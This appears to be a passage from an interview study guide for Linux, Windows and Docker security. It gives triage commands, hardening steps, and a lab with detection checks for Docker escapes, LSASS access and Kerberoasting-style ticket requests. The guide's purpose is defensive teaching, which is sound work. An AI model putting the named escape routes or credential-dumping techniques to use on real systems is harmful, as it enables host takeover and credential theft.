Q16. Triage a Linux host with strange outbound traffic — commands?
A: ps aux --forest, ss -tulpn / lsof -i -P -n (what listens/connects), tcpdump -i eth0 -n -c 100, grep/awk logs, find /tmp -perm -0002 -type f (world-writable; -perm -777 misses 666), systemctl list-unit-files --state=enabled + journalctl -xe, lastlog. Isolate (SG), snapshot for forensics, rotate creds. Don't kill -9 before capturing evidence.
Q17. Containers share what? Explain namespaces vs cgroups vs seccomp.
A: Share host kernel (unlike VMs). Namespaces = visibility (pid/net/mnt/user…), cgroups = resource budget (cpu/memory/pids), seccomp = syscall filter. Together they are the container — not VM-strength. Kernel bug or --privileged/sock mount punches through. Strengthen with user namespaces/rootless, dropped caps, AppArmor/SELinux, gVisor/Kata for hostile tenants.
Q18. Name 3 Docker escapes and how you'd prevent/detect each.
A: (1) --privileged → deny via admission policy, detect Falco privileged start. (2) docker.sock mount → never mount, detect sock access alerts. (3) hostPath: / writable → read-only + allowlist mounts, detect drift/file-write to /etc/cron*. Prevention: non-root, --cap-drop ALL, read-only FS, no host namespaces, image scan/sign, docker-bench. Detection: Falco/Tetragon (shell in container, sensitive mount, unexpected priv).
4. Hands-On Lab (30 min — Do Before Interview)
# 1. Permissions + SUID (5 min)
mkdir -p /tmp/lab && cd /tmp/lab
touch app.sh && chmod 750 app.sh && ls -l # expect -rwxr-x---
ls -l /usr/bin/passwd # expect -rwsr-xr-x (SUID)
find /usr/bin -perm -4000 -type f 2>/dev/null | head
sudo visudo -c; sudo -l
# 2. SSH + firewall dry-run (5 min, VM only!)
sudo sshd -T | grep -i -E 'permitroot|passwordauth|allowusers' # needs root; expect permitrootlogin no
ss -tulpn | head -20
sudo ufw status verbose
# NEVER ufw enable on remote without allow ssh first
# 3. Logs + brute-force (5 min)
grep "Failed password" /var/log/auth.log 2>/dev/null | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head
# note: keep fallback on its own line — `head` exits 0, so `||` after one pipeline never fires
[ -r /var/log/auth.log ] || journalctl _COMM=sshd | grep -i "failed password" | head
lastb | head # root only; expect failed-login source IPs
# 4. Services + persistence (5 min)
systemctl list-unit-files --state=enabled | head -20
crontab -l; cat /etc/crontab; ls -la /etc/cron.*/*
awk -F: '$3==0 {print $1}' /etc/passwd # must be only root
# 5. Docker hardening (10 min)
docker run --rm -it --cap-drop ALL --read-only --user 65532:65532 nginx:alpine sh
docker inspect <id> --format 'Caps={{json .HostConfig.CapAdd}} Priv={{.HostConfig.Privileged}} RO={{.HostConfig.ReadonlyRootfs}}'
grep -R "privileged\|docker.sock\|hostPath" ~/work --include="*.yml" --include="*.yaml" || echo "no bad mounts found"
# Try: trivy image nginx:alpine; docker-bench-security (if installed)
Windows (VM or explain verbally):
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 20
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} -MaxEvents 20 | Where {$_.Message -match '0x17'}
# Sysmon: check Event 10 lsass access; enable PS ScriptBlock logging via GPO
# Note: 4768/4769 are DC-side (need "Audit Kerberos Service Ticket Operations"); standalone VM → use 4624/4625 + Sysmon
5. Quick Revision Table (Read 5 min Before Interview)
| Topic | One-liner | Command / ID |
|---|---|---|
| Perms | 754=rwxr-xr--, secrets 600, ssh dir 700 |
chmod/chown, ls -l |
| SUID/SGID/sticky | Run-as-owner/group, /tmp delete-protect |
find / -perm -4000 |
| sudo | Least-priv cmds, visudo, no broad NOPASSWD |
sudo -l, /etc/sudoers.d/ |
| SSH | No root, keys-only, AllowUsers | sudo sshd -T, PermitRootLogin no |
| Fresh server | Update→user→SSH→firewall(allow first)→minimize→log→scan | CIS + lynis |
| Logs | auth.log/secure + journal + auditd | grep Failed, ausearch |
| Firewall | Default-deny in, allow SSH first | ufw allow ssh && ufw enable |
| FIM/fail2ban | Hash crit files, ban brute force | AIDE/Wazuh, fail2ban-client status |
| CIS vs patch | Config vs CVE fix, need both | CIS L1, SLA patch |
| AD/GPO | Central ident, push hardening | NTDS.dit, LAPS |
| WDigest/LLMNR/SMBv1 | Disable all legacy | GPO + SMB signing |
| PtH/Mimikatz | Hash reuse, dump LSASS | Guard+PPL, Sysmon E10 0x1010 |
| Win logs | 4624/4625/4768/4769/4662 + Sysmon + PS 4104 | Splunk + honeypot SPN |
| Triage | ps/ss/lsof/tcpdump/grep/find/systemctl | ss -tulpn, lsof -i |
| Containers | NS=see, cgroup=use, seccomp=syscalls | --cap-drop ALL, --read-only, no --privileged/sock |
6. Common Mistakes (Don't Say These)
chmod 777as fix → Shows no least-privilege. Say750/640+ group/SGID/ACL.- "Enable firewall" without allow-SSH-first → Lockout story. Always state order.
- Daily root /
ALL=(ALL) ALLfor everyone → No audit, huge blast radius. Use scoped sudoers. - Disabling SELinux/AppArmor to "fix" app → Removes MAC. Use
audit2why, tune policy. - Patching = hardening → Patching fixes CVEs; hardening (CIS, remove services, SSH) is separate. Need both.
- Giving exploit steps for Mimikatz/Golden Ticket → Ethics fail. Say "awareness + blue controls; I'd test only in isolated lab with authorization."
- ID bingo (reciting 4624 without baseline) → Pair IDs with behavior + Sysmon + honeypot.
--privileged/docker.sockmount "for convenience" (CI/Judge0) → Host root. Use--cap-drop ALL,--read-only, no sock, gVisor/Kata for untrusted code.- Killing suspicious process before evidence → Destroys forensics. Snapshot, capture
ps/lsof/tcpdump/logs, then isolate. - "Change SSH port = secure" → Obscurity only. Keys + no-root + fail2ban + SG is real security.
Next: practice saying Q1 + Q14 + Q17 aloud in <90s each. Tie every answer to Judge0/Docker when you can.